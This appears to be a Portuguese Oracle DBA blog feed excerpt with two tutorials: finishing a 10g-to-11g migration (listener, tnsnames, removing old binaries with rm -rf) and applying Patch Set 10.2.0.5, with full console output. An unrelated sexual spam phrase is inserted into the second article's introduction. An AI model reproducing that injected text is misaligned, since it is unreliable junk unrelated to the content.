11.2.0.1.0                     VALID       04-AUG-2012 02:45:23          Oracle Expression Filter
11.2.0.1.0                     VALID       04-AUG-2012 02:45:24          Oracle Rule Manager
11.2.0.1.0                     VALID       04-AUG-2012 02:45:22          Oracle Workspace Manager
11.2.0.1.0                     VALID       04-AUG-2012 02:45:22          Oracle Database Catalog Views
11.2.0.1.0                     VALID       04-AUG-2012 02:45:22          Oracle Database Packages and Types
11.2.0.1.0                     VALID       04-AUG-2012 02:45:23          JServer JAVA Virtual Machine
11.2.0.1.0                     VALID       04-AUG-2012 02:45:23          Oracle XDK
11.2.0.1.0                     VALID       04-AUG-2012 02:45:23          Oracle Database Java Packages

11 rows selected.

SQL> alter system set compatible='11.2.0.1.0' scope=spfile;

System altered.

SQL> shutdown immediate
Database closed.
Database dismounted.
ORACLE instance shut down.
SQL> exit
Disconnected from Oracle Database 11g Release 11.2.0.1.0 - Production
oracle=dbprod->
37 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC.

Enterprise Manager versão 10g.

Vamos parar e recriar o Enterprise Manager, parar e reconfigurar o Listener para a versão 11g.

oracle=dbprod-> emctl stop dbconsole
Oracle Enterprise Manager 11g Database Control Release 11.2.0.1.0
Copyright (c) 1996, 2009 Oracle Corporation.  All rights reserved.
https://oracle1011gserver.localdomain:1158/em/console/aboutApplication
Stopping Oracle Enterprise Manager 11g Database Control ...

all attemps to stop oc4j failed... now trying to kill 9
--- Failed to shutdown DBConsole Gracefully ---
 ...  Stopped.
oracle=dbprod-> lsnrctl stop

LSNRCTL for Linux: Version 11.2.0.1.0 - Production on 04-AUG-2012 03:12:28

Copyright (c) 1991, 2009, Oracle.  All rights reserved.

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=oracle1011gserver.localdomain)(PORT=1521)))
The command completed successfully
oracle=dbprod->

Vamos ajustar o Listener para a versão 11g.

oracle=dbprod-> pwd
/oraprd01/app/oracle/product/11.2.0/db_1
oracle=dbprod-> cd network/admin/
oracle=dbprod-> ls -l
total 20
-rw-r--r-- 1 oracle oinstall  346 Aug  4 01:28 listener.ora
drwxr-xr-x 2 oracle oinstall 4096 Aug  4 01:12 samples
-rw-r--r-- 1 oracle oinstall  187 May  9  2007 shrept.lst
-rw-r--r-- 1 oracle oinstall  218 Aug  4 01:28 sqlnet.ora
-rw-r----- 1 oracle oinstall  353 Aug  4 02:42 tnsnames.ora
oracle=dbprod-> cat listener.ora
# listener.ora Network Configuration File: /oraprd01/app/oracle/product/11.2.0/db_1/network/admin/listener.ora
# Generated by Oracle configuration tools.

LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
      (ADDRESS = (PROTOCOL = TCP)(HOST = oracle1011gserver.localdomain)(PORT = 1521))
    )
  )

ADR_BASE_LISTENER = /oraprd01/app/oracle

oracle=dbprod-> cd /oraprd01/app/oracle/product/10.2.0/db_1/network/admin/
oracle=dbprod-> cat listener.ora
# listener.ora Network Configuration File: /oraprd01/app/oracle/product/10.2.0/db_1/network/admin/listener.ora
# Generated by Oracle configuration tools.

SID_LIST_LISTENER =
  (SID_LIST =
    (SID_DESC =
      (SID_NAME = PLSExtProc)
      (ORACLE_HOME = /oraprd01/app/oracle/product/10.2.0/db_1)
      (PROGRAM = extproc)
    )
    (SID_DESC =
      (SID_NAME = dbprod)
      (ORACLE_HOME = /oraprd01/app/oracle/product/10.2.0/db_1)
      (SERVICE_NAME = dbprod)
    )
  )

LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
      (ADDRESS = (PROTOCOL = TCP)(HOST = oracle1011gserver.localdomain)(PORT = 1521))
      (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC0))
    )
  )

oracle=dbprod-> cd ../../../../11.2.0/db_1/network/admin/
oracle=dbprod-> vi listener.ora
oracle=dbprod-> cat listener.ora
# listener.ora Network Configuration File: /oraprd01/app/oracle/product/11.2.0/db_1/network/admin/listener.ora
# Generated by Oracle configuration tools.

SID_LIST_LISTENER =
  (SID_LIST =
    (SID_DESC =
      (SID_NAME = dbprod)
      (ORACLE_HOME = /oraprd01/app/oracle/product/11.2.0/db_1)
      (SERVICE_NAME = dbprod)
    )
  )

LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
      (ADDRESS = (PROTOCOL = TCP)(HOST = oracle1011gserver.localdomain)(PORT = 1521))
      (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC0))
    )
  )

ADR_BASE_LISTENER = /oraprd01/app/oracle
oracle=dbprod->

Vamos verificar o “tnsnames.ora” para a versão 11g.

oracle=dbprod-> cat tnsnames.ora
# tnsnames.ora Network Configuration File: /oraprd01/app/oracle/product/11.2.0/db_1/network/admin/tnsnames.ora
# Generated by Oracle configuration tools.

DBPROD =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = oracle1011gserver.localdomain)(PORT = 1521))
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = dbprod)
    )
  )

oracle=dbprod->

Vamos iniciar os serviços do Banco de Dados Oracle ew verificar o “compatible”.
– Iniciando o Listener;

oracle=dbprod-> lsnrctl start

LSNRCTL for Linux: Version 11.2.0.1.0 - Production on 04-AUG-2012 03:19:06

Copyright (c) 1991, 2009, Oracle.  All rights reserved.

Starting /oraprd01/app/oracle/product/11.2.0/db_1/bin/tnslsnr: please wait...

TNSLSNR for Linux: Version 11.2.0.1.0 - Production
System parameter file is /oraprd01/app/oracle/product/11.2.0/db_1/network/admin/listener.ora
Log messages written to /oraprd01/app/oracle/diag/tnslsnr/oracle1011gserver/listener/alert/log.xml
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=oracle1011gserver.localdomain)(PORT=1521)))
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC0)))

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=oracle1011gserver.localdomain)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for Linux: Version 11.2.0.1.0 - Production
Start Date                04-AUG-2012 03:19:07
Uptime                    0 days 0 hr. 0 min. 0 sec
Trace Level               off
Security                  ON: Local OS Authentication
SNMP                      OFF
Listener Parameter File   /oraprd01/app/oracle/product/11.2.0/db_1/network/admin/listener.ora
Listener Log File         /oraprd01/app/oracle/diag/tnslsnr/oracle1011gserver/listener/alert/log.xml
Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=oracle1011gserver.localdomain)(PORT=1521)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC0)))
Services Summary...
Service "dbprod" has 1 instance(s).
  Instance "dbprod", status UNKNOWN, has 1 handler(s) for this service...
The command completed successfully
oracle=dbprod->

– Iniciando a Instância Oracle;

oracle=dbprod-> sqlplus sys/******** as sysdba

SQL*Plus: Release 11.2.0.1.0 Production on Sat Aug 4 03:20:43 2012

Copyright (c) 1982, 2009, Oracle.  All rights reserved.

Connected to an idle instance.

SQL> startup
ORACLE instance started.

Total System Global Area  824442880 bytes
Fixed Size                  1339600 bytes
Variable Size             503320368 bytes
Database Buffers          314572800 bytes
Redo Buffers                5210112 bytes
Database mounted.
Database opened.
SQL> show parameter compatible

NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
compatible                           string      11.2.0.1.0
SQL> !
oracle=dbprod->

Agora basta iniciar e recriar o Enterprise Manager.
Para este, acessar Recriando o repositório Enterprise Manager.

38 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC.

Enterprise Manager versão 11g.

Após de tudo atualizado e migrado para a versão 11g, basta remover os binários do Banco de Dados 10g.

oracle=dbprod-> cd /oraprd01/app/oracle/product/
oracle=dbprod-> ls -l
total 8
drwxr-xr-x 3 oracle oinstall 4096 Jul 28 17:49 10.2.0
drwxr-xr-x 3 oracle oinstall 4096 Aug  4 00:46 11.2.0
oracle=dbprod-> rm -rf 10.2.0

Pronto migramos o Banco de Dados da versão 10g para 11g via OUI.

]]>
https://oraclehome.com.br/2012/09/27/migrando-banco-de-dados-oracle-10g-para-11g-com-oui-oracle-universal-installer-non-rac/feed/ 0
Aplicando Patch Set 10.2.0.5 (8202632) no Banco de Dados Oracle 10.2.0.1 non-RAC https://oraclehome.com.br/2012/05/14/aplicando-patch-set-10-2-0-5-8202632-no-banco-de-dados-oracle-10-2-0-1-non-rac/ https://oraclehome.com.br/2012/05/14/aplicando-patch-set-10-2-0-5-8202632-no-banco-de-dados-oracle-10-2-0-1-non-rac/#respond Mon, 14 May 2012 15:40:37 +0000 https://oraclehome.com.br/?p=2640 Este artigo tem como objetivo mostrar como aplicar o patch set 10.2.0.5 (patch 8202632) para o Banco de Dados 10.2.0.1. paola_aire masturbate Estou utilizando o Sistema Operacional Enterprise Linux 5.7 32 Bits, então devemos fazer o download do patch para o banco de dados Oracle deste sistema operacional. OBS: Para fazer o download é necessário obter as credenciais do Suporte da Oracle. Download do Patch 8202632

download 150x150 Aplicando Patch Set 10.2.0.5 (8202632) no Banco de Dados Oracle 10.2.0.1 non RAC

Download Patch Set 10.2.0.5

Após fazer o download do Patch em questão, basta descompactar o mesmo no servidor de Banco de Dados.
OBS: Sempre antes de aplicar o Patch no Banco de Dados, fazer o backup do seu Produto Oracle. Ao aplicar o mesmo, certificar se todos os serviços Oracle esteja baixados.

No caso, os serviços estão todos baixados (Listener, Banco de Dados, Enterprise Manager).

Vamos acessar o diretório do produto Oracle e vamos realizar o Backup do mesmo.

[oracle@serveroracle oraprd01]$ tar -zvcf backup_oracle_home.tar.gz app/
app/
app/oracle/
app/oracle/product/
.
.
.
app/oracle/scritps/backup/bkp_mensal.rcv
app/oracle/scritps/backup/bkp_manutencao_rman.sh
[oracle@serveroracle oraprd01]$ ls -l
total 646196
drwxrwxr-x 3 oracle dba           4096 Mar 29 11:10 app
-rw-r--r-- 1 oracle oinstall 661030969 Apr 17 16:03 backup_oracle_home.tar.gz
drwxrwxr-x 2 oracle dba          16384 Mar 13 15:17 lost+found
[oracle@serveroracle oraprd01]$

Vamos aplicar o Patch já descompactado no servidor.

[oracle@serveroracle ~]$ /orabackup/Disk1/./runInstaller
Starting Oracle Universal Installer...

Checking installer requirements...

Checking operating system version: must be redhat-3, SuSE-9, SuSE-10, redhat-4, redhat-5, redhat-6, UnitedLinux-1.0, asianux-1, asianux-2, asianux-3, enterprise-4, enterprise-5 or SuSE-11
                                      Passed

All installer requirements met.

Preparing to launch Oracle Universal Installer from /tmp/OraInstall2012-04-17_04-04-29PM. Please wait ...[oracle@serveroracle ~]$ Oracle Universal Installer, Version 10.2.0.5.0 Production
Copyright (C) 1999, 2010, Oracle. All rights reserved.

[oracle@serveroracle ~]$

Seguir as imagens abaixo para a instalação passo à passo do Patch.

1 150x150 Aplicando Patch Set 10.2.0.5 (8202632) no Banco de Dados Oracle 10.2.0.1 non RAC

Tela Inicial de Instalação do Patch Set 10.2.0.5

2 150x150 Aplicando Patch Set 10.2.0.5 (8202632) no Banco de Dados Oracle 10.2.0.1 non RAC

Instalar no atual Oracle Home.

3 150x150 Aplicando Patch Set 10.2.0.5 (8202632) no Banco de Dados Oracle 10.2.0.1 non RAC

Tela de Credenciais para o Suporte Oracle

4 150x150 Aplicando Patch Set 10.2.0.5 (8202632) no Banco de Dados Oracle 10.2.0.1 non RAC

Tela de Aviso das Credenciais do Suporte da Oracle

5 150x150 Aplicando Patch Set 10.2.0.5 (8202632) no Banco de Dados Oracle 10.2.0.1 non RAC

Tela de checagem dos Pré-Requisitos para a Instalação do Patch Set.

8 150x150 Aplicando Patch Set 10.2.0.5 (8202632) no Banco de Dados Oracle 10.2.0.1 non RAC

Tela do Sumário do Patch a ser Instalado.

9 150x150 Aplicando Patch Set 10.2.0.5 (8202632) no Banco de Dados Oracle 10.2.0.1 non RAC

Tela de Progresso de Instalação do Patch

10 150x150 Aplicando Patch Set 10.2.0.5 (8202632) no Banco de Dados Oracle 10.2.0.1 non RAC

Tela para rodar o Script para permissão do usuário "root". Copie o endereço e coloque num terminal com o usuário "root".

Com o usuário root, vamos executar o script da imagem acima.

[oracle@serveroracle ~]$ su -
Password:
[root@serveroracle ~]# /oraprd01/app/oracle/product/10.2.0/db_1/root.sh
Running Oracle 10g root.sh script...

The following environment variables are set as:
    ORACLE_OWNER= oracle
    ORACLE_HOME=  /oraprd01/app/oracle/product/10.2.0/db_1

Enter the full pathname of the local bin directory: [/usr/local/bin]:
The file "dbhome" already exists in /usr/local/bin.  Overwrite it? (y/n)
[n]: y
   Copying dbhome to /usr/local/bin ...
The file "oraenv" already exists in /usr/local/bin.  Overwrite it? (y/n)
[n]: y
   Copying oraenv to /usr/local/bin ...
The file "coraenv" already exists in /usr/local/bin.  Overwrite it? (y/n)
[n]: y
   Copying coraenv to /usr/local/bin ...

Entries will be added to the /etc/oratab file as needed by
Database Configuration Assistant when a database is created
Finished running generic part of root.sh script.
Now product-specific root actions will be performed.
[root@serveroracle ~]# exit
logout
[oracle@serveroracle ~]$
11 150x150 Aplicando Patch Set 10.2.0.5 (8202632) no Banco de Dados Oracle 10.2.0.1 non RAC

Tela de finalização a instalação do Patch. Clique em Exit.

12 150x150 Aplicando Patch Set 10.2.0.5 (8202632) no Banco de Dados Oracle 10.2.0.1 non RAC

Tela de finalização de instalação do Patch.

Após executar o script da permissão do usuário “root”, com o usuário oracle, vamos iniciar os serviços do Banco de Dados Oracle.
OBS: Seguir o README.html do Patch para aplicar o mesmo.

[oracle@serveroracle ~]$ lsnrctl start

LSNRCTL for Linux: Version 10.2.0.5.0 - Production on 17-APR-2012 16:14:02

Copyright (c) 1991, 2010, Oracle.  All rights reserved.

Starting /oraprd01/app/oracle/product/10.2.0/db_1/bin/tnslsnr: please wait...

TNSLSNR for Linux: Version 10.2.0.5.0 - Production
System parameter file is /oraprd01/app/oracle/product/10.2.0/db_1/network/admin/listener.ora
Log messages written to /oraprd01/app/oracle/product/10.2.0/db_1/network/log/listener.log
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=serveroracle.localdomain)(PORT=1521)))
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC0)))

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=serveroracle.localdomain)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for Linux: Version 10.2.0.5.0 - Production
Start Date                17-APR-2012 16:14:02
Uptime                    0 days 0 hr. 0 min. 0 sec
Trace Level               off
Security                  ON: Local OS Authentication
SNMP                      OFF
Listener Parameter File   /oraprd01/app/oracle/product/10.2.0/db_1/network/admin/listener.ora
Listener Log File         /oraprd01/app/oracle/product/10.2.0/db_1/network/log/listener.log
Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=serveroracle.localdomain)(PORT=1521)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC0)))
Services Summary...
Service "PLSExtProc" has 1 instance(s).
  Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "orcl" has 1 instance(s).
  Instance "orcl", status UNKNOWN, has 1 handler(s) for this service...
The command completed successfully
[oracle@serveroracle ~]$ sqlplus sys/*********** as sysdba

SQL*Plus: Release 10.2.0.5.0 - Production on Tue Apr 17 16:16:09 2012

Copyright (c) 1982, 2010, Oracle.  All Rights Reserved.

Connected to an idle instance.

SQL> startup upgrade
ORACLE instance started.

Total System Global Area 1073741824 bytes
Fixed Size                  1277796 bytes
Variable Size             390070428 bytes
Database Buffers          679477248 bytes
Redo Buffers                2916352 bytes
Database mounted.
Database opened.
SQL>

Seguindo o documento do Patch, vamos aplicar o mesmo executando o primeiro script “utlu102i.sql” (Descreve a informação da Atualização).
OBS: Seguindo o Documento o mesmo solicita executar um spool para verificação após executar o script mencionado.

SQL> SPOOL upgrade_info.log
SQL> @$ORACLE_HOME/rdbms/admin/utlu102i.sql
Oracle Database 10.2 Upgrade Information Utility    04-17-2012 16:17:23
.
**********************************************************************
Database:
**********************************************************************
--> name:       ORCL
--> version:    10.2.0.1.0
--> compatible: 10.2.0.1.0
--> blocksize:  8192
.
**********************************************************************
Tablespaces: [make adjustments in the current environment]
**********************************************************************
--> SYSTEM tablespace is adequate for the upgrade.
.... minimum required size: 448 MB
.... AUTOEXTEND additional space required: 8 MB
--> UNDOTBS1 tablespace is adequate for the upgrade.
.... minimum required size: 402 MB
.... AUTOEXTEND additional space required: 102 MB
--> SYSAUX tablespace is adequate for the upgrade.
.... minimum required size: 206 MB
.... AUTOEXTEND additional space required: 6 MB
--> TEMP tablespace is adequate for the upgrade.
.... minimum required size: 58 MB
.... AUTOEXTEND additional space required: 38 MB
.
**********************************************************************
Update Parameters: [Update Oracle Database 10.2 init.ora or spfile]
**********************************************************************
-- No update parameter changes are required.
.
**********************************************************************
Renamed Parameters: [Update Oracle Database 10.2 init.ora or spfile]
**********************************************************************
-- No renamed parameters found. No changes are required.
.
**********************************************************************
Obsolete/Deprecated Parameters: [Update Oracle Database 10.2 init.ora or spfile]
**********************************************************************
-- No obsolete parameters found. No changes are required
.
**********************************************************************
Components: [The following database components will be upgraded or installed]
**********************************************************************
--> Oracle Catalog Views         [upgrade]  VALID
--> Oracle Packages and Types    [upgrade]  VALID
--> JServer JAVA Virtual Machine [upgrade]  VALID
--> Oracle XDK for Java          [upgrade]  VALID
--> Oracle Java Packages         [upgrade]  VALID
--> Oracle XML Database          [upgrade]  VALID
--> Oracle Workspace Manager     [upgrade]  VALID
--> Oracle interMedia            [upgrade]  VALID
--> Expression Filter            [upgrade]  VALID
--> EM Repository                [upgrade]  VALID
--> Rule Manager                 [upgrade]  VALID
.

PL/SQL procedure successfully completed.

SQL> SPOOL OFF

Vamos executar o script “catupgrd.sql” para aplicar o Patch no Banco de Dados (Dicionário de Dados).

SQL> SPOOL patch.log
SQL> @?/rdbms/admin/catupgrd.sql
DOC>######################################################################
DOC>######################################################################
DOC>    The following statement will cause an "ORA-01722: invalid number"
DOC>    error if the user running this script is not SYS.  Disconnect
DOC>    and reconnect with AS SYSDBA.
DOC>######################################################################
DOC>######################################################################
DOC>#

no rows selected

DOC>######################################################################
DOC>######################################################################
DOC>    The following statement will cause an "ORA-01722: invalid number"
DOC>    error if the database server version is not correct for this script.
DOC>    Shutdown ABORT and use a different script or a different server.
DOC>######################################################################
DOC>######################################################################
DOC>#

no rows selected

.
.
.

Total Upgrade Time: 00:18:38
DOC>#######################################################################
DOC>#######################################################################
DOC>
DOC>   The above PL/SQL lists the SERVER components in the upgraded
DOC>   database, along with their current version and status.
DOC>
DOC>   Please review the status and version columns and look for
DOC>   any errors in the spool log file.  If there are errors in the spool
DOC>   file, or any components are not VALID or not the current version,
DOC>   consult the Oracle Database Upgrade Guide for troubleshooting
DOC>   recommendations.
DOC>
DOC>   Next shutdown immediate, restart for normal operation, and then
DOC>   run utlrp.sql to recompile any invalid application objects.
DOC>
DOC>#######################################################################
DOC>#######################################################################
DOC>#
SQL>
SQL> spool off

Após a execução do script “catupgrd.sql”, vamos reiniciar o Banco de Dados.

SQL> shutdown immediate
Database closed.
Database dismounted.
ORACLE instance shut down.
SQL> startup
ORACLE instance started.

Total System Global Area 1073741824 bytes
Fixed Size                  1277796 bytes
Variable Size             415236252 bytes
Database Buffers          654311424 bytes
Redo Buffers                2916352 bytes
Database mounted.
Database opened.
SQL>

Vamos executar o script “utlrp.sql” e recompilar os possíveis objetos inválidos pós aplicação do Patch no Dicionário de Dados.

SQL> @?/rdbms/admin/utlrp.sql

TIMESTAMP
--------------------------------------------------------------------------------
COMP_TIMESTAMP UTLRP_BGN  2012-04-17 16:40:48
DOC>   The following PL/SQL block invokes UTL_RECOMP to recompile invalid
DOC>   objects in the database. Recompilation time is proportional to the
DOC>   number of invalid objects in the database, so this command may take
DOC>   a long time to execute on a database with a large number of invalid
DOC>   objects.
DOC>
DOC>   Use the following queries to track recompilation progress:
DOC>
DOC>   1. Query returning the number of invalid objects remaining. This
DOC>      number should decrease with time.
DOC>         SELECT COUNT(*) FROM obj$ WHERE status IN (4, 5, 6);
DOC>
DOC>   2. Query returning the number of objects compiled so far. This number
DOC>      should increase with time.
DOC>         SELECT COUNT(*) FROM UTL_RECOMP_COMPILED;
DOC>
DOC>   This script automatically chooses serial or parallel recompilation
DOC>   based on the number of CPUs available (parameter cpu_count) multiplied
DOC>   by the number of threads per CPU (parameter parallel_threads_per_cpu).
DOC>   On RAC, this number is added across all RAC nodes.
DOC>
DOC>   UTL_RECOMP uses DBMS_SCHEDULER to create jobs for parallel
DOC>   recompilation. Jobs are created without instance affinity so that they
DOC>   can migrate across RAC nodes. Use the following queries to verify
DOC>   whether UTL_RECOMP jobs are being created and run correctly:
DOC>
DOC>   1. Query showing jobs created by UTL_RECOMP
DOC>         SELECT job_name FROM dba_scheduler_jobs
DOC>            WHERE job_name like 'UTL_RECOMP_SLAVE_%';
DOC>
DOC>   2. Query showing UTL_RECOMP jobs that are running
DOC>         SELECT job_name FROM dba_scheduler_running_jobs
DOC>            WHERE job_name like 'UTL_RECOMP_SLAVE_%';
DOC>#

TIMESTAMP
--------------------------------------------------------------------------------
COMP_TIMESTAMP UTLRP_END  2012-04-17 16:41:33
DOC> The following query reports the number of objects that have compiled
DOC> with errors (objects that compile with errors have status set to 3 in
DOC> obj$). If the number is higher than expected, please examine the error
DOC> messages reported with each object (using SHOW ERRORS) to see if they
DOC> point to system misconfiguration or resource constraints that must be
DOC> fixed before attempting to recompile these objects.
DOC>#

OBJECTS WITH ERRORS
-------------------
                  0
DOC> The following query reports the number of errors caught during
DOC> recompilation. If this number is non-zero, please query the error
DOC> messages in the table UTL_RECOMP_ERRORS to see if any of these errors
DOC> are due to misconfiguration or resource constraints that must be
DOC> fixed before objects can compile successfully.
DOC>#

ERRORS DURING RECOMPILATION
---------------------------
                          0
SQL>

Vamos verificar o registro após aplicação do Patch Set 10.2.0.5.

SQL> col COMP_NAME for a35
SQL> select VERSION, STATUS, MODIFIED, STARTUP, COMP_NAME from dba_registry;

VERSION                        STATUS      MODIFIED             STARTUP  COMP_NAME
------------------------------ ----------- -------------------- -------- -----------------------------------
10.2.0.5.0                     VALID       17-APR-2012 16:35:28          Oracle Enterprise Manager
10.2.0.5.0                     VALID       17-APR-2012 16:41:35          Oracle interMedia
10.2.0.5.0                     VALID       17-APR-2012 16:41:34          Oracle XML Database
10.2.0.5.0                     VALID       17-APR-2012 16:41:34          Oracle Expression Filter
10.2.0.5.0                     VALID       17-APR-2012 16:41:35          Oracle Rule Manager
10.2.0.5.0                     VALID       17-APR-2012 16:41:33          Oracle Workspace Manager
10.2.0.5.0                     VALID       17-APR-2012 16:41:33          Oracle Database Catalog Views
10.2.0.5.0                     VALID       17-APR-2012 16:41:33          Oracle Database Packages and Types
10.2.0.5.0                     VALID       17-APR-2012 16:41:34          JServer JAVA Virtual Machine
10.2.0.5.0                     VALID       17-APR-2012 16:41:34          Oracle XDK
10.2.0.5.0                     VALID       17-APR-2012 16:41:34          Oracle Database Java Packages
SQL> !

Vamos inciar o Enterprise Manager.

[oracle@serveroracle ~]$ emctl start dbconsole
TZ set to Brazil/East
Oracle Enterprise Manager 10g Database Control Release 10.2.0.5.0
Copyright (c) 1996, 2010 Oracle Corporation.  All rights reserved.
http://serveroracle.localdomain:1158/em/console/aboutApplication
Starting Oracle Enterprise Manager 10g Database Control .......................... started.
------------------------------------------------------------------
Logs are generated in directory /oraprd01/app/oracle/product/10.2.0/db_1/serveroracle.localdomain_orcl/sysman/log
[oracle@serveroracle ~]$ emctl status agent
TZ set to Brazil/East
Oracle Enterprise Manager 10g Database Control Release 10.2.0.5.0
Copyright (c) 1996, 2010 Oracle Corporation.  All rights reserved.
---------------------------------------------------------------
Agent Version     : 10.1.0.6.0
OMS Version       : 10.1.0.6.0
Protocol Version  : 10.1.0.2.0
Agent Home        : /oraprd01/app/oracle/product/10.2.0/db_1/serveroracle.localdomain_orcl
Agent binaries    : /oraprd01/app/oracle/product/10.2.0/db_1
Agent Process ID  : 11833
Parent Process ID : 9626
Agent URL         : http://serveroracle.localdomain:3938/emd/main
Started at        : 2012-04-17 16:51:04
Started by user   : oracle
Last Reload       : 2012-04-17 16:51:04
Last successful upload                       : (none)
Last attempted upload                        : (none)
Total Megabytes of XML files uploaded so far :     0.00
Number of XML files pending upload           :       16
Size of XML files pending upload(MB)         :     4.40
Available disk space on upload filesystem    :    71.39%
---------------------------------------------------------------
Agent is Running and Ready
[oracle@serveroracle ~]$
13 150x150 Aplicando Patch Set 10.2.0.5 (8202632) no Banco de Dados Oracle 10.2.0.1 non RAC

Tela do Enterprise Manager após aplicar o Patch

Como podemos perceber na imagem acima, o Enterprise Manager está mostrando o Banco de Dados 10.2.0.1.
Para ajuste deste, devemos reconfigurar o Enterprise Manager (dbconsole).
Vamos baixar o serviço do Enterpise Manager e reconfigurar o mesmo.
Para reconfigurar o Enterprise Manager acesse o artigo do Anderson Graf Recriando repositório do Oracle Enterprise Manager.

Vamos seguir o artigo acima.
A configuração pode não ser completada, pois ao subir o serviço do Enterprise Manager o mesmo pode ocorrer um erro de certificado SSL.
Caso haja erro ao recriar o repositório do Enterprise Manager, verifique o status do serviço do mesmo conforme abaixo.

[oracle@serveroracle ~]$ emctl status dbconsole
TZ set to Brazil/East
Oracle Enterprise Manager 10g Database Control Release 10.2.0.5.0
Copyright (c) 1996, 2010 Oracle Corporation.  All rights reserved.
https://serveroracle.localdomain:1158/em/console/aboutApplication
Oracle Enterprise Manager 10g is not running.
------------------------------------------------------------------
Logs are generated in directory /oraprd01/app/oracle/product/10.2.0/db_1/serveroracle.localdomain_orcl/sysman/log
[oracle@serveroracle ~]$ emctl status agent
TZ set to Brazil/East
Oracle Enterprise Manager 10g Database Control Release 10.2.0.5.0
Copyright (c) 1996, 2010 Oracle Corporation.  All rights reserved.
---------------------------------------------------------------
Agent is Not Running
[oracle@serveroracle ~]$

Para solicionar este, devemos aplicar o Patch 8350262 para o Enterpise Manager.
Para aplicar o mesmo, vamos seguir o artigo Aplicação do Patch 8350262 para Correção do Enterprise Manager..
Seguindo o artigo acima, vamos aplicar o Patch para o Enterprise Manager.

Após aplicado o Patch 8350262 para o Enterprise Manager, vamos verificar o status do serviço do mesmo.

[oracle@serveroracle 8350262]$ emctl status dbconsole
TZ set to Brazil/East
Oracle Enterprise Manager 10g Database Control Release 10.2.0.5.0
Copyright (c) 1996, 2010 Oracle Corporation.  All rights reserved.
https://serveroracle.localdomain:1158/em/console/aboutApplication
Oracle Enterprise Manager 10g is running.
------------------------------------------------------------------
Logs are generated in directory /oraprd01/app/oracle/product/10.2.0/db_1/serveroracle.localdomain_orcl/sysman/log
[oracle@serveroracle 8350262]$ emctl status agent
TZ set to Brazil/East
Oracle Enterprise Manager 10g Database Control Release 10.2.0.5.0
Copyright (c) 1996, 2010 Oracle Corporation.  All rights reserved.
---------------------------------------------------------------
Agent Version     : 10.1.0.6.0
OMS Version       : 10.1.0.6.0
Protocol Version  : 10.1.0.2.0
Agent Home        : /oraprd01/app/oracle/product/10.2.0/db_1/serveroracle.localdomain_orcl
Agent binaries    : /oraprd01/app/oracle/product/10.2.0/db_1
Agent Process ID  : 31928
Parent Process ID : 29766
Agent URL         : https://serveroracle.localdomain:3938/emd/main
Started at        : 2012-04-17 17:30:02
Started by user   : oracle
Last Reload       : 2012-04-17 17:30:02
Last successful upload                       : 2012-04-17 17:30:36
Total Megabytes of XML files uploaded so far :     4.00
Number of XML files pending upload           :        0
Size of XML files pending upload(MB)         :     0.00
Available disk space on upload filesystem    :    71.29%
---------------------------------------------------------------
Agent is Running and Ready
[oracle@serveroracle 8350262]$
14 150x150 Aplicando Patch Set 10.2.0.5 (8202632) no Banco de Dados Oracle 10.2.0.1 non RAC

Tela do Enterprise Manager após aplicado Patch para o mesmo e recriado o repositório do mesmo

Pronto aplicamos o Patch Set 10.2.0.5 (8202632) no Banco de Dados 10.2.0.1.
Mais informações sobre o Patch Set acessar o Suporte da Oracle.

]]>
https://oraclehome.com.br/2012/05/14/aplicando-patch-set-10-2-0-5-8202632-no-banco-de-dados-oracle-10-2-0-1-non-rac/feed/ 0